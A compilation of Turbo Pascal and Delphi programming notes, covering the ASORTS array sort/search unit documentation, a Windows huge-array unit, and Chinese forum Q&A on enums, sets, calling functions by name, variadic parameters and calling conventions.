Each ELEMENT of the ARRAY is presumed to be fixed size, and this size must be passed to the routines. (In the "Interface" section, if an ELEMENT needs to passed directly to a routine as an argument, it is passed as an untyped var called "key".) Also, the number of elements in the ARRAY must also be passed. For

instance, to fill an array of real numbers with 0:

var RealArray : array [1..10] of Real;

x : real;

x:=0;

fill(RealArray,10,sizeof(real),x);

A SUBARRAY is a "byte-slice" of an array. For instance, if "ElementType" is an "array [1..8] of byte", then a "subelement" would be any contiguous collection of bytes within the element, like 3,4 and 5. The SUBARRAY would be the collection of all of the subelements stored in an ARRAY. If "ElementType" is a record of fields, then a "subelement" would be any contiguous group of fields.

For sorting and searching, a COMPARISON FUNCTION must be passed to the routines. COMPARISON FUNCTIONs take two untyped vars, return a longint value, and must be declared "far" at compilation. (DIFFERENT! In C, only an integer-sized value is returned.) For instance, to sort the array of real numbers

declared earlier:

function RealCompare(var a,b):longint; far;

begin

if real(a)>real(b) then realcompare:=1

else if real(a)<real(b) then realcompare:=-1

else realcompare:=0;

end;

qsort(realarray,10,sizeof(real),realcompare);

"Virtual" arrays are data structures whose elements can be accessed indirectly by an index. For instance, information that is physically stored in multiple arrays might be sorted by a key in just one of the arrays. ASORTS provides a few routines for handling such "virtual" arrays. "VQSort" and "VSelSort" will provide the sorting logic for ordering the arrays. "VShuffle" will similarly "unorder" the array. To sort an array of "DBRec" with respect to an array of integer priorities, declare:

var Array1 : array [1..MaxDBRec] of DBRec;

Priority: array [1..MaxDBRec] of integer;

function ComparePriority(a,b:longint):longint; far;

begin ComparePriority:=longint(Priority[a])-Priority[b] end;

procedure SwapPriDBRec(a,b:longint); far;

begin asorts.swap(Priority[a],Priority[b],sizeof(integer));

asorts.swap(Array1[a],Array1[b],sizeof(DBRec)); end;

and sort the two arrays with:

vqsort(MaxDBRec,ComparePriority,SwapPriDBRec);

INTERFACE

function bfind(var key{:element}, base{:array};

length_base, sizeof_element:word;

f:comparefunc):longint;

Searches a sorted array for a "key" element. Return the index of its location, or the negative of the index of the largest element in the array that is smaller than the key (i.e., the element that you want to insert the new element after).

function binsert(var key{:element}, base{:array};

length_base, sizeof_element:word;

f:comparefunc):longint;

WARNING: This routine overwrites memory if used incorrectly.

Inserts the key element into the correct position of an ordered array. Unlike "lsearch", which only adds the key if it's not already present, "binsert" ALWAYS inserts a new element into the array. "Binsert" returns the index where the element is inserted.

function bsearch(var key{:element}, base{:array};

length_base, sizeof_element:word;

f:comparefunc):word;

"Bsearch" attempts to locate the "key" element within the previously SORTED array "base". If successful, the index of the found element is returned; otherwise, 0 is returned to indicate that the element is not present.

type comparefunc = function (var a,b{:element}):longint; {far;}

Declares the type of the comparison function to be passed to sorting and searching routines. CompareFunc's are user-defined functions that takes two arguments a and b. A and B must be typeless in the declaration, but otherwise are of the same type as the elements of the "base" array. For "qsort" and "bsearch", the function needs to return a negative integer if "A<B"; a positive integer if "A>B"; and 0 if "A=B". For "lfind" and "lsearch", the function needs to return 0 if "A=B", and some non-zero integer if "A<>B".

function fibsearch(var key{:element}, base{:array};

length_base, sizeof_element:word;

f:comparefunc):word;

"Fibsearch" attempts to locate the "key" element within the previously SORTED array "base". If successful, the index of the found element is returned; otherwise, 0 is returned to indicate that the element is not present. (This procedure is included because a user asked about the algorithm on one of Borland's CompuServe Forums. It looks like an interesting alternative to "bsearch", but I have not run extensive comparisons.)

procedure fill(var key{:element}, destination{:array};

count, sizeof_element:word);

WARNING: This routine overwrites memory if used incorrectly.

Moves the "key" element to the first "count" indices in the "destination" array.

procedure heapsort(var base {:array};

length_base, sizeof_element:word;

f:comparefunc);

WARNING: This routine overwrites memory if used incorrectly.

"HeapSort" reorders the elements of the "base" array using a heapsort algorithm (like, you expected something else?). The function "f" is used to compare two elements of the array, and must return a negative number if the first argument is "less than" the second, a postive number if the first argument is "greater than" the second, and zero if the two arguments are "equal".

type icomparefunc = function (a,b:longint):longint;

Declares the type of the comparison function to be passed as an argument for sorting "virtual" arrays. Instead of passing the elements to be compared as is done for "comparefunc", ICompareFunc's use the location of the elements.

function lfind(var key{:element}, base{:array};

length_base, sizeof_element:word;

f:comparefunc):word;

"Lfind" attempts to locate the "key" element within the array "base". If successful, the index of the found element is returned; otherwise, 0 is returnd to indicate the element is not present.

function longaddr (var x): longint;

Returns the address of a variable expressed as a longint value so that address can be used for comparisons, etc.

function lsearch(var key{:element}, base{:array};

length_base, sizeof_element:word;

f:comparefunc):word;

WARNING: This routine overwrites memory if used incorrectly.

Does a linear search of the "base" array, looking for the "key" element. If the key element is found, "lsearch" returns the index of the array. *** NOTE! *** Otherwise, the key element is appended to the end of the array. It is the programmer's responsibility to ensure that "sizeof_element" bytes are available at the end of the array and that the count of contained elements is adjusted. To avoid the append, use "lfind" instead.

var monitor : procedure;

procedure nullmonitor;

"Monitor" and "NullMonitor" were debugging devices developed in the process of putting together the ASORTS unit. They can be optionally declared by defining a compilation variable "MONITOR". Every time that the "Qsort" algorithm swaps a pair of array elements, the "monitor" procedure is called. This will allow the user to watch the progress of the sort. This is of marginal practical value, and by default, these two identifiers are not defined. Calling "NullMonitor" will turn off monitoring even if the "monitor" procedure variable is defined.

procedure naivesort(var base {:array};

length_base, sizeof_element:word;

f:comparefunc);

WARNING: This routine slowly overwrites memory if used incorrectly.

"NaiveSort" also reorders the elements or an array. However, it does it more slowly than "QSort". The use of the procedure is not recommended. It is provided for comparison only. (i.e., don't waste your time trying to improve upon it. It's only here for comic relief.)

procedure qsort(var base {:array};

length_base, sizeof_element:word;

f:comparefunc);

WARNING: This routine overwrites memory if used incorrectly.

"Qsort" reorders the elements of the "base" array using a quicksort algorithm. The function "f" is used to compare two elements of the array, and must return a negative number if the first argument is "less than" the second, a postive number if the first argument is "greater than" the second, and zero if the two arguments are "equal".

function scan(var source; count, sizeof_element:word;

f:testfunc):word;

"Scan" does a linear search of the "source" array and returns the index of the first element that satisfies the test function "f". If no element is found, "scan" returns 0.

procedure selsort(var base{:array};

length_base, sizeof_element:word;

f:comparefunc);

WARNING: This routine overwrites memory if used incorrectly.

"SelSort" reorders the elements of the "base" array using a selection sort algorithm. This algorithm minimizes the number of times that each element is moved, but will maximize the of comparisons. For most applications, the comparisons take more time than the exchanges, so you are not likely to want to use this algorithm for ordinary array sorting. See also, "VSelSort".

procedure shellsort(var base{:array};

length_base, sizeof_element:word;

f:comparefunc);

WARNING: This routine overwrites memory if used incorrectly.

"ShellSort" reorders the elements of the "base" array using a sort routine first defined by an individual whose last name was Shell. In concept, the algorithm is an insertion-type sort (as opposed to exchange-type sort (of which "qsort" and "selsort" are examples). This turns out to be a very efficient sorting routine for in-memory sorting.

procedure shuffle(var base{:array}; length_base, sizeof_element:word);

WARNING: This routine overwrites memory if used incorrectly.

Randomly permutes ("unsorts") the elements of an array. The SYSTEM "Randomize" procedure should be called at least once in a program that shuffles an array.

procedure subfill(var key{:subelement}, destination{:subarray};

count, sizeof_key, sizeof_element:word);

WARNING: This routine overwrites memory if used incorrectly.

Partially fills an array with the "key". The address of "Destination" should be the address of the first byte in the

subarray. The portion of the array outside of the subarray is left unchanged.

procedure submove(var source{:[sub]array},

destination{:[sub]array};

count,

sizeof_source_element,

sizeof_destination_element:word);

WARNING: This routine overwrites memory if used incorrectly.

If the size of the source elements are smaller than that of the destination elements, moves the first "count" elements of the source into a subarray of the same size in destination. If larger, only moves that portion of the source that will fill the first "count" elements of the destination. If equal in size, does a simple "move" of the bytes.

procedure swab(var source, destination; numwords:word);

WARNING: This routine overwrites memory if used incorrectly.

Moves the contents of source to the destination, swapping high and low order bytes in the process. (Note: while this is provided for C compatibility, the third argument is used differently. In C, the third argument is the number of bytes to move and is expected to be even. Here, the third argument is the number of byte-pairs to move.)

procedure swap(var var1,var2; sizeof_element:word);

WARNING: This routine overwrites memory if used incorrectly.

"Swap" exchanges the contents of the variable "var1" with the contents of the variable "var2". (Note: this is a redefinition of the "swap" function defined in the System unit.)

type swapproc = procedure (a,b:longint); {far;}

Declares the type of the exchange procedure that is passed as an argument to "selsort" and other virtual exchange sort algorithms.

type testfunc = function (var a):boolean; {far;}

Declares the type of the criterion function to be passed to the "scan" function. The actual TestFunc should expect an array element to be passed through "a" and return true if the element satisfies the criteria. Otherwise, it should return false.

procedure vqsort(length_base:longint; f:icomparefunc; s:swapproc);

"VQSort" provides the logic to do a quicksort of an indexed entity (a "virtual" array), but depends upon the user-defined routines "f" and "s" to do the actual work of accessing specific elements in the array, comparing and exchanging them. This makes VQSort useful for sorting elements when they are stored in something other than a single contiguous array.

procedure vselsort(length_base:longint; f:icomparefunc; s:swapproc);

"VSelSort" provides the logic to do a selection sort of an indexed entity (a "virtual" array), but depends upon the user-defined routines "f" and "s" to do the actual work of accessing specific elements in the array, comparing and exchanging them. As mentioned in the description for "SelSort", the algorithm minimizes the number of exchanges of elements required to put something into sorted order, but makes a large number of comparisons to do so. This would make "VSelSort" useful for something like sorting an external file of larger records based upon integer keys stored in an array in memory.

procedure vshuffle(length_base:longint; s:swapproc);

Of course, what fun is there in being able to order virtual arrays if we can't mix all the elements up again?

procedure xsubmove(var source{:subarray}, destination{:subarray};

count, sizeof_source_element,

sizeof_destination_element,

sizeof_subelement:word);

WARNING: This routine overwrites memory if used incorrectly.

Moves a subarray from the source to the destination. The size of the subelements is presumed to be the same in both subarrays. "XsubMove" does not check to make sure that the sizes are consistent.

REFERENCES

Knuth, The Art of Computer Programming, Sorting and Searching.

Press, et al., Numerical Recipes.

Sedgewick, Algorithms.


一个操作矩阵的类

Q: How can I use huge arrays? (i.e. > 64K)

A: Unit provides support for arrays and huge (>64K) arrays of data. Each item size stored in the array must be a multiple of 2 (2,4,8,16,32..) in order to work using the huge arrays and matrices. This is needed so that you don't straddle the segment boundaries.

To use these objects merely create the object using the appropriate constructor. The object will be created with it's data initialized to zeros (GMEM_ZEROINIT). to access an element of the object use the AT() method. This will return you a pointer to the element you specified. for huge objects it will do the segment math correctly. Then you can dereference the pointer and work with the data.

This unit merely simplifies the use of huge type arrays and matrices. It does not do much more.

Unit Arrays;

{Author ROBERT WARREN CIS ID 70303,537}

interface

uses WObjects,WinTypes,WinProcs;

type

PArray = ^TArray;

TArray = object(TObject)

Handle: THandle;

ItemSize: Word;

Limit: LongInt;

Address: Pointer;

constructor Init(aItemSize: Word; aLimit: LongInt);

destructor done; virtual;

function At(index: LongInt): Pointer; virtual;

end;

PMatrix = ^TMatrix;

TMatrix = object(TObject)

Handle: THandle;

ItemSize: Word;

Rows,Cols: LongInt;

Address: Pointer;

constructor Init(aItemSize: Word; aRows,aCols: LongInt);

destructor done; virtual;

function At(aRow,aCol: LongInt): Pointer; virtual;

end;

PHugeMatrix = ^THugeMatrix;

THugeMatrix = object(TMatrix)

SegIncr : Word;

constructor Init(aItemSize: Word; aRows,aCols: LongInt);

function At(aRow,aCol: LongInt): Pointer; virtual;

end;

PHugeArray = ^THugeArray;

THugeArray = object(TArray)

SegIncr: Word;

constructor Init(aItemSize: Word; aLimit: LongInt);

function At(index: LongInt): Pointer; virtual;

end;

function NewArray(aItemSize: Word; aLimit: LongInt): PArray;

function NewMatrix(aItemSize: Word; aRows,aCols: LongInt): PMatrix;

implementation

{

returns a pointer to an Array if small enough otherwise a HugeArray

}

function NewArray(aItemSize: Word; aLimit: LongInt): PArray;

var

TempArrayPtr: PArray;

begin

TempArrayPtr:=New(PArray,Init(aItemSize,aLimit));

if TempArrayPtr = nil then

TempArrayPtr:=New(PHugeArray,Init(aItemSize,aLimit));

NewArray:=TempArrayPtr;

end;

{

returns a pointer to an Matrix if small enough otherwise a HugeMatrix

}

function NewMatrix(aItemSize: Word; aRows,aCols: LongInt): PMatrix;

var

TempMatrixPtr: PMatrix;

begin

TempMatrixPtr:=New(PMatrix,Init(aItemSize,aRows,aCols));

if TempMatrixPtr = nil then

TempMatrixPtr:=New(PHugeMatrix,Init(aItemSize,aRows,aCols));

NewMatrix:=TempMatrixPtr;

end;

procedure AHIncr; far; external 'KERNEL' index 114;

{ ----------------------------------------------

TMatrix

---------------------------------------------- }

constructor TMatrix.Init(aItemSize: Word; aRows,aCols: LongInt);

var

InitSize: LongInt;

begin

TObject.Init;

Rows:=aRows;

Cols:=aCols;

ItemSize:=aItemSize;

InitSize:=LongInt(ItemSize * Rows * Cols);

if InitSize > $FFFF then fail;

Handle:=GlobalAlloc(GMEM_MOVEABLE or GMEM_ZEROINIT,ItemSize * Rows * Cols);

if handle = 0 then fail;

Address:=GlobalLock(Handle);

end;

destructor TMatrix.done;

begin

GlobalUnlock(Handle);

GlobalFree(Handle);

end;

function TMatrix.At(aRow,aCol: LongInt): Pointer;

var

pos: Word;

begin

pos:=(aRow * Cols * ItemSize) + (ACol * ItemSize);

At:=Pointer(MakeLong(pos,HiWord(LongInt(Address))));

end;

{ ----------------------------------------------

THugeMatrix

---------------------------------------------- }

constructor THugeMatrix.Init(aItemSize: Word; aRows,aCols: LongInt);

begin

TObject.Init;

Rows:=aRows;

Cols:=aCols;

ItemSize:=aItemSize;

Handle:=GlobalAlloc(GMEM_MOVEABLE or GMEM_ZEROINIT,LongInt(ItemSize * Rows * Cols));

if handle = 0 then fail;

Address:=GlobalLock(Handle);

SegIncr:=Ofs(AHIncr);

end;

function THugeMatrix.At(aRow,aCol: LongInt): Pointer;

var

Segs,Offs: Word;

Pos: LongInt;

begin

pos:=(aRow * Cols * ItemSize) + (ACol * ItemSize);

Segs:=Pos div $FFFF;

Offs:=Pos mod $FFFF;

At:=Pointer(MakeLong(Offs,((Segs*SegIncr)+(HiWord(LongInt(Address))))));

end;

{ ----------------------------------------------

TArray

---------------------------------------------- }

constructor TArray.Init(aItemSize: Word; aLimit: LongInt);

var

InitSize: LongInt;

begin

TObject.Init;

ItemSize:=aItemSize;

Limit:=aLimit;

InitSize:=ItemSize * Limit;

if InitSize > $FFFF then fail;

Handle:=GlobalAlloc(GMEM_MOVEABLE or GMEM_ZEROINIT,InitSize);

if handle = 0 then fail;

Address:=GlobalLock(Handle);

end;

destructor TArray.Done;

begin

TObject.Done;

GlobalUnlock(Handle);

GlobalFree(Handle);

end;

function TArray.At(index: LongInt): Pointer;

begin

At:=Pointer(LongInt(ItemSize * index) + LongInt(Address));

end;

{ ----------------------------------------------

THugeArray

---------------------------------------------- }

constructor THugeArray.Init(aItemSize: Word; aLimit: LongInt);

begin

TObject.Init;

ItemSize:=aItemSize;

Limit:=aLimit;

Handle:=GlobalAlloc(GMEM_MOVEABLE or GMEM_ZEROINIT,ItemSize * Limit);

if handle = 0 then fail;

Address:=GlobalLock(Handle);

SegIncr:=Ofs(AHIncr);

end;

function THugeArray.At(index: LongInt): Pointer;

var

Segs,Offs: Word;

Pos: LongInt;

begin

Pos:=Index * ItemSize;

Segs:=Pos div $FFFF;

Offs:=Pos mod $FFFF;

At:=Pointer(MakeLong(Offs,((Segs*SegIncr)+(HiWord(LongInt(Address))))));

end;

begin

end.


枚举类型变量和字符串的转换

列出枚举类型的名字？

get names of enumerated values?

// For example, if you have some enum type

{....}

type

TYourEnumType = (One, Two, Three, Four, Five, Six, Seven, Eight, Nine, Ten);

{....}

{

And you want in run-time to get a string with same value for each of

them (for example, fill the Listbox items with enum values), then you

can use the next procedure:

}

uses TypInfo;

procedure TForm1.Button1Click(Sender: TObject);

var

i: Integer;

begin

for i := Ord(Low(TYourEnumType)) to Ord(High(TYourEnumType)) do

ListBox1.Items.Add(GetEnumName(TypeInfo(TYourEnumType), i));

end;

---------------------------------------

字符串转换枚举变量：

uses typinfo;

type

TServerVariables = (svAUTH_PASSWORD, svAUTH_TYPE, svAUTH_USER);

function StrToServerVariable(const Value:String):TServerVariables;

begin

result := TServerVariables(GetEnumValue(TypeInfo(TServerVariables),

Value));

end;

function ServerVariableToStr(const Value:TServerVariables):String;

begin

result := GetEnumName(TypeInfo(TServerVariables), Ord(Value));

end;

---------------------------------------

qsl <qiusonglin@163.net>

上次ePing问过我，我那时也不太清楚，这段也不知他做什么了，先给你一份，:)

转换set类型到字符串，和字符串转到set类型。

一会我再给他发过去，不过不知他还要不要倒是真的。

uses TypInfo;

function GetSetString(P: PTypeInfo; const Value): string;

var

I: Integer;

BaseType: PTypeInfo;

begin

Result := '';

BaseType := GetTypeData(P)^.CompType^;

for I := 0 to High(Byte) - 1 do

if I in TIntegerSet(Value) then

Result := Result + GetEnumName(BaseType, I) + ',';

if Result <> '' then

Delete(Result, Length(Result), 2);

Result := Format('[%s]', [Result]);

end;

procedure GetSetValue(SetType: PTypeInfo; const Value: string; var Result);

var

P, S: PChar;

Len: Integer;

EnumName: string;

EnumType: PTypeInfo;

procedure IncludeResult;

begin

Len := P - S;

SetLength(EnumName, Len);

Move(S^, EnumName[1], Len);

EnumName := Trim(EnumName);

Include(TIntegerSet(Result), GetEnumValue(EnumType, EnumName));

end;

begin

TIntegerSet(Result) := [];

EnumType := GetTypeData(SetType)^.CompType^;

P := PChar(Value);

S := P;

while True do

case P^ of

'[':

begin

Inc(P);

S := P;

end;

',':

begin

IncludeResult;

Inc(P);

S := P;

end;

#0, ']':

begin

IncludeResult;

break;

end;

else

Inc(P);

end;

end;

type

TTest = (test1, test2, test3);

TTests = set of TTest;

procedure TForm1.Button1Click(Sender: TObject);

begin

Caption := GetSetString(TypeInfo(TTests), [test1, test2]);

end;

procedure TForm1.Button2Click(Sender: TObject);

var

V: TTests;

begin

GetSetValue(TypeInfo(TTests), '[test1, test2, test3]', V);

if test1 in V then

ShowMessage('test1 in V');

if test2 in V then

ShowMessage('test2 in V');

if test3 in V then

ShowMessage('test3 in V');

end;


关于枚举类型

定义的枚举类型我只能取出他的顺序值，就是1，2，3，4什么的，我怎么才能取出他的

字符值，就是定义时写的，请指教

procedure TMainForm.lbSampsClick(Sender: TObject);

var

OrdTypeInfo: PTypeInfo;

OrdTypeData: PTypeData;

TypeNameStr: String;

TypeKindStr: String;

MinVal, MaxVal: Integer;

i: integer;

begin

memInfo.Lines.Clear;

with lbSamps do

begin

// Get the TTypeInfo pointer

OrdTypeInfo := PTypeInfo(Items.Objects[ItemIndex]);

// Get the TTypeData pointer

OrdTypeData := GetTypeData(OrdTypeInfo);

// Get the type name string

TypeNameStr := OrdTypeInfo.Name;

// Get the type kind string

TypeKindStr := GetEnumName(TypeInfo(TTypeKind),

Integer(OrdTypeInfo^.Kind));

// Get the minimum and maximum values for the type

MinVal := OrdTypeData^.MinValue;

MaxVal := OrdTypeData^.MaxValue;

// Add the information to the memo

with memInfo.Lines do

begin

Add('Type Name: '+TypeNameStr);

Add('Type Kind: '+TypeKindStr);

Add('Min Val: '+IntToStr(MinVal));

Add('Max Val: '+IntToStr(MaxVal));

// Show the values and names of the enumerated types

if OrdTypeInfo^.Kind = tkEnumeration then

for i := MinVal to MaxVal do

Add(Format(' Value: %d Name: %s', [i, GetEnumName(OrdTypeInfo,

i)]));

end;

end;

end;


直接定义记录和变量

var

TimeStamp : record

case byte of

1: (Whole: comp);

2: (Lo, Hi: LongInt);

end;


定义数组的一个有趣现象

按照下面的方式定义数组

type

TMyRecord=packed record

F1,F2:integer;

F3,F4:Word;

end;

TMyRecordArray = array[0..MaxInt div 2] of TMyRecord;

PMyRecordArray = ^TMyRecordArray;

编译器会提示你数组太大，超过2GB，如果你该成MaxInt div 20，不会提示你数组太大，但是编译也不能通过，经过验证，记录占用内存越大，数组上限越小，否则无法编译，不过编译错误信息很奇怪的。

所以一般应该这样定义：

TMyRecordArray = array[0..MaxInt div SizeOf(TMyRecord) - 1] of TMyRecord;


取得一个枚举类型有多少个元素？

如何得到枚举类型内容的长度,如 tGetData(gdInteger,gdFloat) 得到 结果 2？

用Low和High配合循环就可以了：

type

TEumType=(eTest1,eTest2);

var

i:TEumType;

R:integer;

begin

R:=0;

for i:=Low(i) to High(i) do

inc(R);

end;

其中R就是结果了。


强类型

Stronger Type强类型数据定义：

type

Float = type Single;

我们可以把Single转换成Float使用，但是Float不允许转换成Single，就是说，如果你定义了

var

F:Float;

I:Single;

那么

F:=I;合法

但是

I:=F;是错误的。并且在变参数传递的时候，也不能用Single传入Float的数据。


如何用函数名字符串来调用函数？

比如我有一些函数（过程），我需要掉用他们，能不能通过函数名字符串来调用？有点儿象宏替换的意思！

以下的只能对于过程或不带参数的函数，如果函数带了参数就不能实现了，谁能解决??

type

{$M+}

TMyObj = class

published

function CommandOne: Integer;

// function CommandEx(i:integer): Integer; 这个带了参数就会出现错误

end;

{$M-}

function DoCommand1(const Command: string): Integer;

var

CommandProc: function: Integer of object;

begin

TMethod(CommandProc).Code := TMyObj.MethodAddress(Command);

if Assigned(TMethod(CommandProc).Code) then Result := CommandProc;

end;

function TMyObj.CommandOne: Integer;

begin

result:=1;

end;

{function TMyObj.CommandEx(i:integer): Integer;

begin

result:=i;

end;}

procedure TForm1.Button2Click(Sender: TObject);

begin

DoCommand1('CommandOne');

//DoCommand1('CommandEx(9)'); 这个就会出错

end;

--

WBR, LVT.

PS: A second method by V.Titov :

uses

TypInfo;

type

TCommand = (CommandOne, CommandTwo, CommandThree, CommandFour);

function DoCommand2(const Command: string): Integer;

begin

Result := 0;

case TCommand(GetEnumValue(TypeInfo(TCommand), Command)) of

CommandOne: ..;

CommandTwo: ..;

CommandThree: ..;

CommandFour: ..;

end;

end;

*******************

回复人： chinalian(连长) ( ) 信誉：100 2002-4-20 14:08:16 得分:0

函数指针：

TVisitedEvent = function(FID: integer):integer of object;

你增加如下

function DoCommand2(const Command: string；id: integer): Integer;

var

CommandProc: function(id: interger): Integer of object;

begin

TMethod(CommandProc).Code := TMyObj.MethodAddress(Command);

if Assigned(TMethod(CommandProc).Code) then Result := CommandProc(id); //注意参数

end;

应该就可以调用带参数的。

回复人： kiss2(kiss2@yeah.net) ( ) 信誉：110 2002-4-20 14:55:28 得分:0

thanks to chinalian(连长): 终于可以调用带参数的了。

但是，由于函数很多，而且每个函数的参数都是不同的，不知道怎么实现?是不是定义每个函数名呢?我的方法 是这样的，但是很麻烦。如下：

type

PTfuncjg = ^Tfuncjg;

Tfuncjg = record

pt1 : Integer;

pt2 : string;

{还有n个参数类型}

end;

function DoCommand2(const Command: string；pt: PTfuncjg): Integer;

var

CommandProc: function(id: interger): Integer of object;

CommandProc2: function(str: string): Integer of object;

{还有n个函数}

begin

new(pt);

if command='com1' then

begin

TMethod(CommandProc).Code := TMyObj.MethodAddress(Command);

if Assigned(TMethod(CommandProc).Code) then Result := CommandProc(pt.pt1);

end;

if command='com2' then

begin

TMethod(CommandProc2).Code := TMyObj.MethodAddress(Command);

if Assigned(TMethod(CommandProc2).Code) then Result := CommandProc2(pt.pt2);

end;

//这样如果有N个函数，就要写N次了，有没有办法更简单点，而且速度也快点

end;

回复人： chinalian(连长) ( ) 信誉：100 2002-4-20 17:01:40 得分:0

kiss2(kiss2@yeah.net):

你可以将N个函数根据不同的参数个数和参数类型归结为M类别，如：I2D1（代表前两个参数为integer,第 三个为double）等；然后，在function DoCommand2中增加一个参数指出为哪个类别，则只要针对这M个类别写 出不同的情况就可以了。有良好的设计的话，M应该不会大。比如

sin(x: double): double

cos(x: double); double

可以归结为一种类型 D1

myfun1(x,y: double): double

myfun2(x,y: double): double

可以归结为另一种类型 D2，以此类推。

回复人： plainsong(轻风) ( ) 信誉：100 2002-05-05 20:56:00 得分:0

不定参数

function MyFunc(Params: Array of const):Variant;

var

I: Integer;

begin

Result := '';

for I := 0 to High(Args) do

with Args[I] do

case VType of

vtInteger: ...

vtBoolean: ...

vtChar: ...

vtExtended: ...

vtString: ...

vtPChar: ...

vtObject: ...

vtClass: ...

vtAnsiString: ...

vtCurrency: ...

vtVariant: ...

vtInt64: ...

end;

end;

调用:

var

afunc:TFUNC;

begin;

afunc := GetFunc('MyFunc');

afunc([1,2.34,'abcde']);

GetFunc根据一个字符串返回一个TFUNC变量(函数指针);

afunc([1,2.34,'abcde']);是用一个整型、一个浮点型和一个字符串型参数去调用。

假设现在调用的是MyFunc：

在循环中：（i := 0 to 2）

i=0:VType=vtInteger,VInteger=1

i=1:VType=vtextended,VExtended^=2.34

i=2:VType=vtAnsiString,string(VAnsiString)='abcde'

详见TVarRec的帮助.

不过这种方法无法得到函数的参数信息,调用者必须保证参数匹配,或所有的函数都要能处理任意个数任意类型 的参数,更好的方法是使用Automation对象,由于内容太多,我就不多讲了,用Delphi编写Automation对象非赏容 易,调用也很容易,因为Delphi内置了对Automation对象的支持,可要按字符串调用反而要自己去做了,你可以看 一下MSDN中IDispatch的帮助.C++Builder由于没有Automation对象的内置支持,所以是用字符串来查找 Automation对象的方法的,反而容易实现你的要求.GetFunc由你自己去写;Args写错了,应该是Params,VType是Params[i]的成员.String可以转化为PChar:

PChar(String1);不知是不是你想要的.


关于缺省参数

yaya8163：

1、有缺省值的参数必须在参数列表的最后。在一个过程或函数的参数列表中，

没有缺省值的参数不能在有缺省值的参数的后面。

2、 有缺省值的参数必须是有序类型、指针类型或集合类型。

3、 有缺省值的参数必须是数值参数或常量参数，不能是引用( o u t )参数或无类型参数。


不定参数

不定参数

function MyFunc(Params: Array of const):Variant;

var

I: Integer;

begin

Result := '';

for I := 0 to High(Args) do

with Args[I] do

case VType of

vtInteger: ...

vtBoolean: ...

vtChar: ...

vtExtended: ...

vtString: ...

vtPChar: ...

vtObject: ...

vtClass: ...

vtAnsiString: ...

vtCurrency: ...

vtVariant: ...

vtInt64: ...

end;

end;

调用:

var

afunc:TFUNC;

begin;

afunc := GetFunc('MyFunc');

afunc([1,2.34,'abcde']);

GetFunc根据一个字符串返回一个TFUNC变量(函数指针);

afunc([1,2.34,'abcde']);是用一个整型、一个浮点型和一个字符串型参数去调用。

假设现在调用的是MyFunc：

在循环中：（i := 0 to 2）

i=0:VType=vtInteger,VInteger=1

i=1:VType=vtextended,VExtended^=2.34

i=2:VType=vtAnsiString,string(VAnsiString)='abcde'

详见TVarRec的帮助.

不过这种方法无法得到函数的参数信息,调用者必须保证参数匹配,或所有的函数都要能处理任意个数任意类型 的参数,更好的方法是使用Automation对象,由于内容太多,我就不多讲了,用Delphi编写Automation对象非赏容 易,调用也很容易,因为Delphi内置了对Automation对象的支持,可要按字符串调用反而要自己去做了,你可以看 一下MSDN中IDispatch的帮助.C++Builder由于没有Automation对象的内置支持,所以是用字符串来查找 Automation对象的方法的,反而容易实现你的要求.


调用约定

stdcall 从右到左, 被调用一方 (Win32标准)

cdcel 从右到左 调用程序

safecall 从右到左 被调用一方

fast-call 从左到右 使用寄存器(delphi缺省)

pascal 从左到右 被调用一方(win3.x缺省)

Register 调用约定

在Object Pascal 函数和过程中默认的调用约定是R e g i s t e r 。利用这种方法传递参数可以使代码更加

优化。因为编译器把头三个3 2 位参数分别用e a x 、e d x 和e c x 寄存器来传递。参看下面声明：

function Basm(i1,i2,i3:integer):integer;

可以认为参数I 1 的值被存储在e a x 中，I 2 在e d x 中，I3 在e c x 中。

再看另一个声明：

procedure TForm1.Basm(i1,i2:integer);

这里参数S 1 的值被存储在e a x 中，S 2 在e d x 中，隐含的s e l f 参数被存储在e c x 中。

Object/C++调用约定对应关系：

Object Pascal C + +

r e g i s t e r* _ _ f a s t c a l l

p a s c a l _ _ p a s c a l

c d e c l _ _ c d e c l*

s t d c a l l _ _ s t d c a l l

注：有*的表示默认的调用约定。

************************

Calling conventions influence two things:

- how parameters are passed to a function/procedure (=routines)

- how the call stack is cleaned up when the call returns

Delphi routines can use the calling conventions pascal (the

Delphi 1 default), register (the default for Delphi 2-5), cdecl

(the default used by C/C++ compilers), stdcall (the default used

by the Windows API). There is a fifth one: safecall, which

is only used in the context of interface methods. A good

explanation for what it entails can be found in issue 51

(Nov. 99) of The Delphi Magazine, i will not go into it

further here. Lets go through the first four in detail, using a

couple of test functions with the same parameter list but

different calling conventions. For clearity we compile with

stack frames on, so each routine will start with the prologue

push ebp

mov ebp, esp

The stack layouts given below are for the mov line. Each test

function is called with the same parameter values so one can

use the CPU windows stack pane to study the resulting stack

layout.

1. Pascal calling convention

Function Test1( i: Integer; b: Boolean; d: Double ): Integer;

Pascal;

Pascal calling convention passes parameters on the stack and

pushes them from left to right in the parameter list. Each

parameter occupies a multiple of 4 bytes. The resulting stack

layout is

ebp + 20 value of i, 4 bytes

ebp + 16 value of b, 4 bytes, only lowbyte significant

ebp + 08 value of d, 8 bytes

ebp + 04 return address, 4 bytes

ebp + 00 old ebp value

The parameters are cleared off the stack by the called function

using a

ret $10

instruction ($10 = 16 is the total size of the parameters on

stack).

2. Register calling convention

Function Test2( i: Integer; b: Boolean; d: Double ): Integer;

Register;

Register calling convention passes parameters in registers

eax, edx, ecx and on the stack and processes them from left to

right in the parameter list. There are rules to decide what

goes into registers and what goes on the stack, as detailed

in the Object Pascal Language guide. The resulting stack layout

is

ebp + 08 value of d, 8 bytes

ebp + 04 return address, 4 bytes

ebp + 00 old ebp value

The value of i is passed in eax, the value of b in edx.

The parameters are cleared off the stack by the called function

using a

ret $8

instruction ($8 = 8 is the total size of the parameters on

stack).

3. cdecl calling convention

Function Test3( i: Integer; b: Boolean; d: Double ): Integer;

cdecl;

Cdecl calling convention passes parameters on the stack and

pushes them from right to left in the parameter list. Each

parameter occupies a multiple of 4 bytes. The resulting stack

layout is

ebp + 16 value of d, 8 bytes

ebp + 12 value of b, 4 bytes, only lowbyte significant

ebp + 08 value of i, 4 bytes

ebp + 04 return address, 4 bytes

ebp + 00 old ebp value

The parameters are cleared off the stack by the calling

function, so the function ends with a

ret 0

and after the call instruction we find a

add esp, $10

instruction ($10 = 16 is the total size of the parameters on

stack).

4. Stdcall calling convention

Function Test4( i: Integer; b: Boolean; d: Double ): Integer;

stdcall;

Sdtcall calling convention passes parameters on the stack and

pushes them from right to left in the parameter list. Each

parameter occupies a multiple of 4 bytes. The resulting stack

layout is

ebp + 16 value of d, 8 bytes

